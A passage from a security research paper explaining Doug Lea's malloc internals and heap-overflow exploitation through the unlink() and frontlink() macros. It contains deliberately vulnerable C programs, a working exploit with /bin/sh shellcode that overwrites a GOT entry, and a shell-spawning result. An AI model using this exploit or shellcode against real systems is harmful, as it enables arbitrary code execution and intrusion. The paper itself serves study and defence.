((((unsigned long)(sz) >> 9) == 0) ? ((unsigned long)(sz) >> 3):\ (((unsigned long)(sz) >> 9) <= 4) ? 56 + ((unsigned long)(sz) >> 6):\ (((unsigned long)(sz) >> 9) <= 20) ? 91 + ((unsigned long)(sz) >> 9):\ (((unsigned long)(sz) >> 9) <= 84) ? 110 + ((unsigned long)(sz) >> 12):\ (((unsigned long)(sz) >> 9) <= 340) ? 119 + ((unsigned long)(sz) >> 15):\ (((unsigned long)(sz) >> 9) <= 1364) ? 124 + ((unsigned long)(sz) >> 18):\

126)

The index of the bin corresponding to a chunk of memory whose size is greater than or equal to 512 bytes is obtained via the bin_index() macro. Thanks to bin_index(), the size range corresponding to each bin can be determined:

‑ A free chunk whose size is equal to 1504 bytes for example is stored in the bin number 79 (56 + (1504 >> 6)) since (1504 >> 9) is equal to 2 and therefore greater than 0 but less than or equal to 4. Moreover, the bin number 79 holds the chunks whose size is greater than or equal to 1472 ((1504 >> 6) * 2^6) bytes but less than 1536 (1472 + 2^6).

‑ A free chunk whose size is equal to 16392 bytes is stored in the bin number 114 (110 + (16392 >> 12)) since (16392 >> 9) is equal to 32 and therefore greater than 20 but less than or equal to 84. Moreover, the bin number 114 holds the chunks whose size is greater than or equal to 16384 ((16392 >> 12) * 2^12) bytes but less than 20480 (16384 + 2^12).

‑ And so on.

‑‑‑‑‑‑[ 3.4.2 ‑ Linkin Park^H^H^H^H^Hg chunks in bin lists ]‑‑‑‑‑‑‑‑‑‑‑‑

The free chunks of memory are stored in circular doubly‑linked lists. There is one circular doubly‑linked list per bin, and these lists are initially empty because at the start the whole heap is composed of one single chunk (never included in any bin), the wilderness chunk. A bin is nothing more than a pair of pointers (a forward pointer and a back pointer) serving as the head of the associated doubly‑linked list.

"The chunks in each bin are maintained in decreasing sorted order by size. This is irrelevant for the small bins, which all contain the same‑sized chunks, but facilitates best‑fit allocation for larger chunks."

The forward pointer of a bin therefore points to the first (the largest) chunk of memory in the list (or to the bin itself if the list is empty), the forward pointer of this first chunk points to the second chunk in the list, and so on until the forward pointer of a chunk (the last chunk in the list) points to the bin again. The back pointer of a bin instead points to the last (the smallest) chunk of memory in the list (or to the bin itself if the list is empty), the back pointer of this chunk points to the previous chunk in the list, and so on until the back pointer of a chunk (the first chunk in the list) points to the bin again.

‑ In order to take a free chunk p off its doubly‑linked list, dlmalloc has to replace the back pointer of the chunk following p in the list with a pointer to the chunk preceding p in the list, and the forward pointer of the chunk preceding p in the list with a pointer to the chunk following p in the list. Doug Lea's Malloc calls the unlink() macro for this purpose:

#define unlink( P, BK, FD ) { \

BK = P‑>bk; \

FD = P‑>fd; \

FD‑>bk = BK; \

BK‑>fd = FD; \

}

‑ In order to place a free chunk P of size S in its bin (in the associated doubly‑linked list actually), in size order, dlmalloc calls frontlink(). "Chunks of the same size are linked with the most recently freed at the front, and allocations are taken from the back. This results in LRU or FIFO allocation order", as mentioned in 3.1.2.2.

The frontlink() macro calls smallbin_index() or bin_index() (presented in 3.4.1) in order to find out the index IDX of the bin corresponding to the size S, calls mark_binblock() in order to indicate that this bin is not empty anymore, calls bin_at() in order to determine the physical address of the bin, and finally stores the free chunk P at the right place in the doubly‑linked list of the bin:

#define frontlink( A, P, S, IDX, BK, FD ) { \

if ( S < MAX_SMALLBIN_SIZE ) { \ IDX = smallbin_index( S ); \ mark_binblock( A, IDX ); \

BK = bin_at( A, IDX ); \

FD = BK‑>fd; \

P‑>bk = BK; \

P‑>fd = FD; \

FD‑>bk = BK‑>fd = P; \

} else {

IDX = bin_index( S ); \

BK = bin_at( A, IDX ); \

FD = BK‑>fd; \

if ( FD == BK ) { \

mark_binblock(A, IDX); \

} else {

while ( FD != BK && S < chunksize(FD) ) { \

FD = FD‑>fd; \

}

BK = FD‑>bk; \

}

P‑>bk = BK; \

P‑>fd = FD; \

FD‑>bk = BK‑>fd = P; \

}

}

‑‑‑‑[ 3.5 ‑ Main public routines ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The final purpose of an attacker who managed to smash the heap of a process is to execute arbitrary code. Doug Lea's Malloc can be tricked into achieving this goal after a successful heap corruption, either thanks to the unlink() macro, or thanks to the frontlink() macro, both presented above and detailed in 3.6. The following description of the malloc(3), free(3) and realloc(3) algorithms therefore focuses on these two internal macros.

‑‑‑‑‑‑[ 3.5.1 ‑ The malloc(3) algorithm ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The malloc(3) function, named __libc_malloc() in the GNU C Library (malloc() is just a weak symbol) and mALLOc() in the malloc.c file, executes in the first place the code pointed to by __malloc_hook if this debugging hook is not equal to NULL (but it normally is). Next malloc(3) converts the amount of dynamic memory requested by the user into a usable form (via request2size() presented in 3.3.2), and calls the internal function chunk_alloc() that takes the first successful of the following steps:

[1] ‑ "The bin corresponding to the request size is scanned, and if a chunk of exactly the right size is found, it is taken."

Doug Lea's Malloc considers a chunk to be "of exactly the right size" if the difference between its size and the request size is greater than or equal to 0 but less than MINSIZE bytes. If this difference was less than 0 the chunk would not be big enough, and if the difference was greater than or equal to MINSIZE bytes (the minimum allocated size) dlmalloc could form a new chunk with this overhead and should therefore perform a split operation (not supported by this first step).

[1.1] ‑‑ The case of a small request size (a request size is small if both the corresponding bin and the next bin are small (small bins are described in 3.4.1)) is treated separately:

[1.1.1] ‑‑‑ If the doubly‑linked list of the corresponding bin is not empty, chunk_alloc() selects the last chunk in this list (no traversal of the list and no size check are necessary for small bins since they hold identically sized chunks).

[1.1.2] ‑‑‑ But if this list is empty, and if the doubly‑linked list of the next bin is not empty, chunk_alloc() selects the last chunk in this list (the difference between the size of this chunk and the request size is indeed less than MINSIZE bytes (it is equal to 8 bytes, as detailed in 3.4.1)).

[1.1.3] ‑‑‑ Finally, if a free chunk of exactly the right size was found and selected, chunk_alloc() calls unlink() in order to take this chunk off its doubly‑linked list, and returns it to mALLOc(). If no such chunk was found, the step[2] is carried out.

[1.2] ‑‑ If the request size is not small, the doubly‑linked list of the corresponding bin is scanned. chunk_alloc() starts from the last (the smallest) free chunk in the list and follows the back pointer of each traversed chunk:

[1.2.1] ‑‑‑ If during the scan a too big chunk is encountered (a chunk whose size is MINSIZE bytes or more greater than the request size), the scan is aborted since the next traversed chunks would be too big also (the chunks are indeed sorted by size within a doubly‑linked list) and the step[2] is carried out.

[1.2.2] ‑‑‑ But if a chunk of exactly the right size is found, unlink() is called in order to take it off its doubly‑linked list, and the chunk is then returned to mALLOc(). If no big enough chunk was found at all during the scan, the step[2] is carried out.

[2] ‑ "The most recently remaindered chunk is used if it is big enough."

But this particular free chunk of memory does not always exist: dlmalloc gives this special meaning (the `last_remainder' label) to a free chunk with the macro link_last_remainder(), and removes this special meaning with the macro clear_last_remainder(). So if one of the available free chunks is marked with the label `last_remainder':

[2.1] ‑‑ It is divided into two parts if it is too big (if the difference between its size and the request size is greater than or equal to MINSIZE bytes). The first part (whose size is equal to the request size) is returned to mALLOc() and the second part becomes the new `last_remainder' (via link_last_remainder()).

[2.2] ‑‑ But if the difference between the size of the `last_remainder' chunk and the request size is less than MINSIZE bytes, chunk_alloc() calls clear_last_remainder() and next:

[2.2.1] ‑‑‑ Returns that most recently remaindered chunk (that just lost its label `last_remainder' because of the clear_last_remainder() call) to mALLOc() if it is big enough (if the difference between its size and the request size is greater than or equal to 0).

[2.2.2] ‑‑‑ Or places this chunk in its doubly‑linked list (thanks to the frontlink() macro) if it is too small (if the difference between its size and the request size is less than 0), and carries out the step[3].

[3] ‑ "Other bins are scanned in increasing size order, using a chunk big enough to fulfill the request, and splitting off any remainder."

The scanned bins (the scan of a bin consists in traversing the associated doubly‑linked list, starting from the last (the smallest) free chunk in the list, and following the back pointer of each traversed chunk) all correspond to sizes greater than or equal to the request size and are processed one by one (starting from the bin where the search at step[1] stopped) until a big enough chunk is found:

[3.1] ‑‑ This big enough chunk is divided into two parts if it is too big (if the difference between its size and the request size is greater than or equal to MINSIZE bytes). The first part (whose size is equal to the request size) is taken off its doubly‑linked list via unlink() and returned to mALLOc(). The second part becomes the new `last_remainder' via link_last_remainder().

[3.2] ‑‑ But if a chunk of exactly the right size was found, unlink() is called in order to take it off its doubly‑linked list, and the chunk is then returned to mALLOc(). If no big enough chunk was found at all, the step[4] is carried out.

[4] ‑ "If large enough, the chunk bordering the end of memory (`top') is split off."

The chunk bordering the end of the heap (the wilderness chunk presented in 3.1.2.4) is large enough if the difference between its size and the request size is greater than or equal to MINSIZE bytes (the step[5] is otherwise carried out). The wilderness chunk is then divided into two parts: the first part (whose size is equal to the request size) is returned to mALLOc(), and the second part becomes the new wilderness chunk.

[5] ‑ "If the request size meets the mmap threshold and the system supports mmap, and there are few enough currently allocated mmapped regions, and a call to mmap succeeds, the request is allocated via direct memory mapping."

Doug Lea's Malloc calls the internal function mmap_chunk() if the above conditions are fulfilled (the step[6] is otherwise carried out), but since the default value of the mmap threshold is rather large (128k), and since the MALLOC_MMAP_THRESHOLD_ environment variable cannot override this default value when a SUID or SGID program is run, mmap_chunk() is not detailed in the present paper.

[6] ‑ "Otherwise, the top of memory is extended by obtaining more space from the system (normally using sbrk, but definable to anything else via the MORECORE macro)."

After a successful extension, the wilderness chunk is split off as it would have been at step[4], but if the extension fails, a NULL pointer is returned to mALLOc().

‑‑‑‑‑‑[ 3.5.2 ‑ The free(3) algorithm ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The free(3) function, named __libc_free() in the GNU C Library (free() is just a weak symbol) and fREe() in the malloc.c file, executes in the first place the code pointed to by __free_hook if this debugging hook is not equal to NULL (but it normally is), and next distinguishes between the following cases:

[1] ‑ "free(0) has no effect."

But if the pointer argument passed to free(3) is not equal to NULL (and it is usually not), the step[2] is carried out.

[2] ‑ "If the chunk was allocated via mmap, it is released via munmap()."

The fREe() function determines (thanks to the macro chunk_is_mmapped() presented in 3.3.4) whether the chunk to be freed was allocated via the memory mapping mechanism (described in 3.1.2.5) or not, and calls the internal function munmap_chunk() (not detailed in the present paper) if it was, but calls chunk_free() (step[3] and step[4]) if it was not.

[3] ‑ "If a returned chunk borders the current high end of memory, it is consolidated into the top".

If the chunk to be freed is located immediately before the top‑most available chunk (the wilderness chunk), a new wilderness chunk is assembled (but the step[4] is otherwise carried out):

[3.1] ‑‑ If the chunk located immediately before the chunk being freed is unused, it is taken off its doubly‑linked list via unlink() and becomes the beginning of the new wilderness chunk (composed of the former wilderness chunk, the chunk being freed, and the chunk located immediately before). As a side note, unlink() is equivalent to clear_last_remainder() if the processed chunk is the `last_remainder'.

[3.2] ‑‑ But if that previous chunk is allocated, the chunk being freed becomes the beginning of the new wilderness chunk (composed of the former wilderness chunk and the chunk being freed).

[4] ‑ "Other chunks are consolidated as they arrive, and placed in corresponding bins. (This includes the case of consolidating with the current `last_remainder')."

[4.1] ‑‑ If the chunk located immediately before the chunk to be freed is unused, it is taken off its doubly‑linked list via unlink() (if it is not the `last_remainder') and consolidated with the chunk being freed.

[4.2] ‑‑ If the chunk located immediately after the chunk to be freed is unused, it is taken off its doubly‑linked list via unlink() (if it is not the `last_remainder') and consolidated with the chunk being freed.

[4.3] ‑‑ The resulting coalesced chunk is placed in its doubly‑linked list (via the frontlink() macro), or becomes the new `last_remainder' if the old `last_remainder' was consolidated with the chunk being freed (but the link_last_remainder() macro is called only if the beginning of the new `last_remainder' is different from the beginning of the old `last_remainder').

‑‑‑‑‑‑[ 3.5.3 ‑ The realloc(3) algorithm ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The realloc(3) function, named __libc_realloc() in the GNU C Library (realloc() is just a weak symbol) and rEALLOc() in the malloc.c file, executes in the first place the code pointed to by __realloc_hook if this debugging hook is not equal to NULL (but it normally is), and next distinguishes between the following cases:

[1] ‑ "Unless the #define REALLOC_ZERO_BYTES_FREES is set, realloc with a size argument of zero (re)allocates a minimum‑sized chunk."

But if REALLOC_ZERO_BYTES_FREES is set, and if realloc(3) was called with a size argument of zero, the fREe() function (described in 3.5.2) is called in order to free the chunk of memory passed to realloc(3). The step[2] is otherwise carried out.

[2] ‑ "realloc of null is supposed to be same as malloc".

If realloc(3) was called with a pointer argument of NULL, the mALLOc() function (detailed in 3.5.1) is called in order to allocate a new chunk of memory. The step[3] is otherwise carried out, but the amount of dynamic memory requested by the user is first converted into a usable form (via request2size() presented in 3.3.2).

[3] ‑ "Chunks that were obtained via mmap [...]."

rEALLOc() calls the macro chunk_is_mmapped() (presented in 3.3.4) in order to determine whether the chunk to be reallocated was obtained via the memory mapping mechanism (described in 3.1.2.5) or not. If it was, specific code (not detailed in the present paper) is executed, but if it was not, the chunk to be reallocated is processed by the internal function chunk_realloc() (step[4] and next ones).

[4] ‑ "If the reallocation is for less space [...]."

[4.1] ‑‑ The processed chunk is divided into two parts if its size is MINSIZE bytes or more greater than the request size: the first part (whose size is equal to the request size) is returned to rEALLOc(), and the second part is freed via a call to chunk_free() (detailed in 3.5.2).

[4.2] ‑‑ But the processed chunk is simply returned to rEALLOc() if the difference between its size and the request size is less than MINSIZE bytes (this difference is of course greater than or equal to 0 since the size of the processed chunk is greater than or equal to the request size).

[5] ‑ "Otherwise, if the reallocation is for additional space, and the chunk can be extended, it is, else a malloc‑copy‑free sequence is taken. There are several different ways that a chunk could be extended. All are tried:"

[5.1] ‑‑ "Extending forward into following adjacent free chunk."

If the chunk of memory located immediately after the chunk to be reallocated is free, the two following steps are tried before the step[5.2] is carried out:

[5.1.1] ‑‑‑ If this free chunk is the top‑most available chunk (the wilderness chunk) and if its size plus the size of the chunk being reallocated is MINSIZE bytes or more greater than the request size, the wilderness chunk is divided into two parts. The first part is consolidated with the chunk being reallocated and the resulting coalesced chunk is returned to rEALLOc() (the size of this coalesced chunk is of course equal to the request size), and the second part becomes the new wilderness chunk.

[5.1.2] ‑‑‑ But if that free chunk is a normal free chunk, and if its size plus the size of the chunk being reallocated is greater than or equal to the request size, it is taken off its doubly‑linked list via unlink() (equivalent to clear_last_remainder() if the processed chunk is the `last_remainder') and consolidated with the chunk being freed, and the resulting coalesced chunk is then treated as it would have been at step[4].

[5.2] ‑‑ "Both shifting backwards and extending forward."

If the chunk located immediately before the chunk to be reallocated is free, and if the chunk located immediately after is free as well, the two following steps are tried before the step[5.3] is carried out:

[5.2.1] ‑‑‑ If the chunk located immediately after the chunk to be reallocated is the top‑most available chunk (the wilderness chunk) and if its size plus the size of the chunk being reallocated plus the size of the previous chunk is MINSIZE bytes or more greater than the request size, the said three chunks are coalesced. The previous chunk is first taken off its doubly‑linked list via unlink() (equivalent to clear_last_remainder() if the processed chunk is the `last_remainder'), the content of the chunk being reallocated is then copied to the newly coalesced chunk, and this coalesced chunk is finally divided into two parts: the first part is returned to rEALLOc() (the size of this chunk is of course equal to the request size), and the second part becomes the new wilderness chunk.

[5.2.2] ‑‑‑ If the chunk located immediately after the chunk to be reallocated is a normal free chunk, and if its size plus the size of the chunk being reallocated plus the size of the previous chunk is greater than or equal to the request size, the said three chunks are coalesced. The previous and next chunks are first taken off their doubly‑linked lists via unlink() (equivalent to clear_last_remainder() if the processed chunk is the `last_remainder'), the content of the chunk being reallocated is then copied to the newly coalesced chunk, and this coalesced chunk is finally treated as it would have been at step[4].

[5.3] ‑‑ "Shifting backwards, joining preceding adjacent space".

If the chunk located immediately before the chunk to be reallocated is free and if its size plus the size of the chunk being reallocated is greater than or equal to the request size, the said two chunks are coalesced (but the step[5.4] is otherwise carried out). The previous chunk is first taken off its doubly‑linked list via unlink() (equivalent to clear_last_remainder() if the processed chunk is the `last_remainder'), the content of the chunk being reallocated is then copied to the newly coalesced chunk, and this coalesced chunk is finally treated as it would have been at step[4].

[5.4] ‑‑ If the chunk to be reallocated could not be extended, the internal function chunk_alloc() (detailed in 3.5.1) is called in order to allocate a new chunk of exactly the request size:

[5.4.1] ‑‑‑ If the chunk returned by chunk_alloc() is located immediately after the chunk being reallocated (this can only happen when that next chunk was extended during the chunk_alloc() execution (since it was not big enough before), so this can only happen when this next chunk is the wilderness chunk, extended during the step[6] of the malloc(3) algorithm), it is consolidated with the chunk being reallocated and the resulting coalesced chunk is then treated as it would have been at step[4].

[5.4.2] ‑‑‑ The chunk being reallocated is otherwise freed via chunk_free() (detailed in 3.5.2), but its content is first copied to the newly allocated chunk returned by chunk_alloc(). Finally, the chunk returned by chunk_alloc() is returned to rEALLOc().

‑‑‑‑[ 3.6 ‑ Execution of arbitrary code ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ 3.6.1 ‑ The unlink() technique ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑[ 3.6.1.1 ‑ Concept ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If an attacker manages to trick dlmalloc into processing a carefully crafted fake chunk of memory (or a chunk whose fd and bk fields have been corrupted) with the unlink() macro, they will be able to overwrite any integer in memory with the value of their choosing, and will therefore be able to eventually execute arbitrary code.

#define unlink( P, BK, FD ) { \

[1] BK = P‑>bk; \

[2] FD = P‑>fd; \

[3] FD‑>bk = BK; \

[4] BK‑>fd = FD; \

}

Indeed, the attacker could store the address of a function pointer, minus 12 bytes as explained below, in the forward pointer FD of the fake chunk (read at line[2]), and the address of a shellcode in the back pointer BK of the fake chunk (read at line[1]). The unlink() macro would therefore, when trying to take this fake chunk off its imaginary doubly‑linked list, overwrite (at line[3]) the function pointer located at FD plus 12 bytes (12 is the offset of the bk field within a boundary tag) with BK (the address of the shellcode).

If the vulnerable program reads the overwritten function pointer (an entry of the GOT (Global Offset Table) or one of the debugging hooks compiled in Doug Lea's Malloc (__malloc_hook, __free_hook, etc) for example) and jumps to the memory location it points to, and if a valid shellcode is stored there at that time, the shellcode is executed.

But since unlink() would also overwrite (at line[4]) an integer located in the very middle of the shellcode, at BK plus 8 bytes (8 is the offset of the fd field within a boundary tag), with FD (a valid pointer but probably not valid machine code), the first instruction of the shellcode should jump over the overwritten integer, into a classic shellcode.

This unlink() technique, first introduced by Solar Designer, is illustrated with a proof of concept in 3.6.1.2, and was successfully exploited in the wild against certain vulnerable versions of programs like Netscape browsers, traceroute, and slocate (mentioned in 3.1.2.1).

‑‑‑‑‑‑‑‑[ 3.6.1.2 ‑ Proof of concept ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The program below contains a typical buffer overflow since an attacker can overwrite (at line[3]) the data stored immediately after the end of the first buffer if the first argument they passed to the program (argv[1]) is larger than 666 bytes:

$ set ‑o noclobber && cat > vulnerable.c << EOF

#include <stdlib.h>

#include <string.h>

int main( int argc, char * argv[] )

{

char * first, * second;

/*[1]*/ first = malloc( 666 );

/*[2]*/ second = malloc( 12 );

/*[3]*/ strcpy( first, argv[1] );

/*[4]*/ free( first );

/*[5]*/ free( second );

/*[6]*/ return( 0 );

}

EOF

$ make vulnerable

cc vulnerable.c ‑o vulnerable

$ ./vulnerable `perl ‑e 'print "B" x 1337'`

Segmentation fault (core dumped)

Since the first buffer was allocated in the heap (at line[1], or more precisely during the step[4] of the malloc(3) algorithm) and not on the stack, the attacker cannot use the classic stack smashing techniques and simply overwrite a saved instruction pointer or a saved frame pointer in order to exploit the vulnerability and execute arbitrary code:

http://www.phrack.org/show.php?p=49&a=14

http://www.phrack.org/show.php?p=55&a=8

But the attacker could overwrite the boundary tag associated with the second chunk of memory (allocated in the heap at line[2], during the step[4] of the malloc(3) algorithm), since this boundary tag is located immediately after the end of the first chunk. The memory area reserved for the user within the first chunk even includes the prev_size field of that boundary tag (as detailed in 3.3.3), and the size of this area is equal to 668 bytes (indeed, and as calculated in 3.3.1, the size of the memory area reserved for the user within the first chunk is equal to the effective size of this chunk, 672 (request2size(666)), minus 4 bytes).

So if the size of the first argument passed to the vulnerable program by the attacker is greater than or equal to 680 (668 + 3*4) bytes, the attacker will be able to overwrite the size, fd and bk fields of the boundary tag associated with the second chunk. They could therefore use the unlink() technique, but how can dlmalloc be tricked into processing the corrupted second chunk with unlink() since this chunk is allocated?

When free(3) is called at line[4] in order to free the first chunk, the step[4.2] of the free(3) algorithm is carried out and the second chunk is processed by unlink() if it is free (if the PREV_INUSE bit of the next contiguous chunk is clear). Unfortunately this bit is set because the second chunk is allocated, but the attacker can trick dlmalloc into reading a fake PREV_INUSE bit since they control the size field of the second chunk (used by dlmalloc in order to compute the address of the next contiguous chunk).

For instance, if the attacker overwrites the size field of the second chunk with ‑4 (0xfffffffc), dlmalloc will think the beginning of the next contiguous chunk is in fact 4 bytes before the beginning of the second chunk, and will therefore read the prev_size field of the second chunk instead of the size field of the next contiguous chunk. So if the attacker stores an even integer (an integer whose PREV_INUSE bit is clear) in this prev_size field, dlmalloc will process the corrupted second chunk with unlink() and the attacker will be able to apply the technique described in 3.6.1.1.

Indeed, the exploit below overwrites the fd field of the second chunk with a pointer to the GOT entry of the free(3) function (read at line[5] after the unlink() attack) minus 12 bytes, and overwrites the bk field of the second chunk with the address of a special shellcode stored 8 (2*4) bytes after the beginning of the first buffer (the first 8 bytes of this buffer correspond to the fd and bk fields of the associated boundary tag and are overwritten at line[4], by frontlink() during the step[4.3] of the free(3) algorithm).

Since the shellcode is executed in the heap, this exploit will work against systems protected with the Linux kernel patch from the Openwall Project, but not against systems protected with the Linux kernel patch from the PaX Team:

http://www.openwall.com/linux/

http://pageexec.virtualave.net/

$ objdump ‑R vulnerable | grep free

0804951c R_386_JUMP_SLOT free

$ ltrace ./vulnerable 2>&1 | grep 666

malloc(666) 0x080495e8

$ set ‑o noclobber && cat > exploit.c << EOF

#include <string.h>

#include <unistd.h>

#define FUNCTION_POINTER ( 0x0804951c )

#define CODE_ADDRESS ( 0x080495e8 + 2*4 )

#define VULNERABLE "./vulnerable"

#define DUMMY 0xdefaced

#define PREV_INUSE 0x1

char shellcode[] =

/* the jump instruction */

"\xeb\x0appssssffff"

/* the Aleph One shellcode */

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main( void )

{

char * p;

char argv1[ 680 + 1 ];

char * argv[] = { VULNERABLE, argv1, NULL };

p = argv1;

/* the fd field of the first chunk */

*( (void **)p ) = (void *)( DUMMY );

p += 4;

/* the bk field of the first chunk */

*( (void **)p ) = (void *)( DUMMY );

p += 4;

/* the special shellcode */

memcpy( p, shellcode, strlen(shellcode) );

p += strlen( shellcode );

/* the padding */

memset( p, 'B', (680 ‑ 4*4) ‑ (2*4 + strlen(shellcode)) ); p += ( 680 ‑ 4*4 ) ‑ ( 2*4 + strlen(shellcode) ); /* the prev_size field of the second chunk */

*( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE ); p += 4;

/* the size field of the second chunk */

*( (size_t *)p ) = (size_t)( ‑4 );

p += 4;

/* the fd field of the second chunk */

*( (void **)p ) = (void *)( FUNCTION_POINTER ‑ 12 ); p += 4;

/* the bk field of the second chunk */

*( (void **)p ) = (void *)( CODE_ADDRESS );

p += 4;

/* the terminating NUL character */

*p = '\0';

/* the execution of the vulnerable program */

execve( argv[0], argv, NULL );

return( ‑1 );

}

EOF

$ make exploit

cc exploit.c ‑o exploit

$ ./exploit

bash$

‑‑‑‑‑‑[ 3.6.2 ‑ The frontlink() technique ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑[ 3.6.2.1 ‑ Concept ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Alternatively an attacker can exploit the frontlink() macro in order to abuse programs which mistakenly manage the heap. The frontlink() technique is less flexible and more difficult to implement than the unlink() technique, however it may be an interesting option since its preconditions are different. Although no exploit is known to apply this frontlink() technique in the wild, a proof of concept is presented in 3.6.2.2, and it was one of the possible techniques against the Sudo vulnerability.

#define frontlink( A, P, S, IDX, BK, FD ) { \

if ( S < MAX_SMALLBIN_SIZE ) { \ IDX = smallbin_index( S ); \ mark_binblock( A, IDX ); \

BK = bin_at( A, IDX ); \

FD = BK‑>fd; \

P‑>bk = BK; \

P‑>fd = FD; \

FD‑>bk = BK‑>fd = P; \

[1] } else {

IDX = bin_index( S ); \

BK = bin_at( A, IDX ); \

FD = BK‑>fd; \

if ( FD == BK ) { \

mark_binblock(A, IDX); \

} else {

[2] while ( FD != BK && S < chunksize(FD) ) { \

[3] FD = FD‑>fd; \

}

[4] BK = FD‑>bk; \

}

P‑>bk = BK; \

P‑>fd = FD; \

[5] FD‑>bk = BK‑>fd = P; \

}

}

If the free chunk P processed by frontlink() is not a small chunk, the code at line[1] is executed, and the proper doubly‑linked list of free chunks is traversed (at line[2]) until the place where P should be inserted is found. If the attacker managed to overwrite the forward pointer of one of the traversed chunks (read at line[3]) with the address of a carefully crafted fake chunk, they could trick frontlink() into leaving the loop[2] while FD points to this fake chunk. Next the back pointer BK of that fake chunk would be read (at line[4]) and the integer located at BK plus 8 bytes (8 is the offset of the fd field within a boundary tag) would be overwritten with the address of the chunk P (at line[5]).

The attacker could store the address of a function pointer (minus 8 bytes of course) in the bk field of the fake chunk, and therefore trick frontlink() into overwriting (at line[5]) this function pointer with the address of the chunk P (but unfortunately not with the address of their choosing). Moreover, the attacker should store valid machine code at that address since their final purpose is to execute arbitrary code the next time the function pointed to by the overwritten integer is called.

But the address of the free chunk P corresponds to the beginning of the associated boundary tag, and therefore to the location of its prev_size field. So is it really possible to store machine code in prev_size?

‑ If the heap layout around prev_size evolved between the moment the frontlink() attack took place and the moment the function pointed to by the overwritten integer is called, the 4 bytes that were corresponding to the prev_size field could henceforth correspond to the very middle of an allocated chunk controlled by the attacker, and could therefore correspond to the beginning of a classic shellcode.

‑ But if the heap layout did not evolve, the attacker may still store valid machine code in the prev_size field of the chunk P. Indeed, this prev_size field is not used by dlmalloc and could therefore hold user data (as mentioned in 3.3.3), since the chunk of memory located immediately before the chunk P is allocated (it would otherwise have been consolidated with the free chunk P before the evil frontlink() call).

‑‑ If the content and size of this previous chunk are controlled by the attacker, they also control the content of the trailing prev_size field (the prev_size field of the chunk P). Indeed, if the size argument passed to malloc(3) or realloc(3) is a multiple of 8 bytes minus 4 bytes (as detailed in 3.3.1), the trailing prev_size field will probably hold user data, and the attacker can therefore store a jump instruction there. This jump instruction could, once executed, simply branch to a classic shellcode located just before the prev_size field. This technique is used in 3.6.2.2.

‑‑ But even if the content or size of the chunk located before the chunk P is not controlled by the attacker, they might be able to store valid machine code in the prev_size field of P. Indeed, if they managed to store machine code in the 4 bytes corresponding to this prev_size field before the heap layout around prev_size was fixed (the attacker could for example allocate a buffer that would cover the prev_size field‑to‑be and store machine code there), and if the content of that prev_size field was not destroyed (for example, a call to malloc(3) with a size argument of 16 reserves 20 bytes for the caller, and the last 4 bytes (the trailing prev_size field) are therefore never overwritten by the caller) at the time the function pointed to by the integer overwritten during the frontlink() attack is called, the machine code would be executed and could simply branch to a classic shellcode.

‑‑‑‑‑‑‑‑[ 3.6.2.2 ‑ Proof of concept ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The program below is vulnerable to a buffer overflow: although the attacker cannot overflow (at line[7]) the first buffer allocated dynamically in the heap (at line[1]) with the content of argv[2] (since the size of this first buffer is exactly the size of argv[2]), however they can overflow (at line[9]) the fourth buffer allocated dynamically in the heap (at line[4]) with the content of argv[1]. The size of the memory area reserved for the user within the fourth chunk is equal to 668 (request2size(666) ‑ 4) bytes (as calculated in 3.6.1.2), so if the size of argv[1] is greater than or equal to 676 (668 + 2*4) bytes, the attacker can overwrite the size and fd fields of the next contiguous boundary tag.

$ set ‑o noclobber && cat > vulnerable.c << EOF

#include <stdlib.h>

#include <string.h>

int main( int argc, char * argv[] )

{

char * first, * second, * third, * fourth, * fifth, * sixth;

/*[1]*/ first = malloc( strlen(argv[2]) + 1 );

/*[2]*/ second = malloc( 1500 );

/*[3]*/ third = malloc( 12 );

/*[4]*/ fourth = malloc( 666 );

/*[5]*/ fifth = malloc( 1508 );

/*[6]*/ sixth = malloc( 12 );

/*[7]*/ strcpy( first, argv[2] );

/*[8]*/ free( fifth );

/*[9]*/ strcpy( fourth, argv[1] );

/*[0]*/ free( second );

return( 0 );

}

EOF

$ make vulnerable

cc vulnerable.c ‑o vulnerable

$ ./vulnerable `perl ‑e 'print "B" x 1337'` dummy

Segmentation fault (core dumped)

The six buffers used by this program are allocated dynamically (at line[1], line[2], line[3], line[4], line[5] and line[6]) during the step[4] of the malloc(3) algorithm, and the second buffer is therefore located immediately after the first one, the third one after the second one, and so on. The attacker can therefore overwrite (at line[9]) the boundary tag associated with the fifth chunk (allocated at line[5] and freed at line[8]) since this chunk is located immediately after the overflowed fourth buffer.

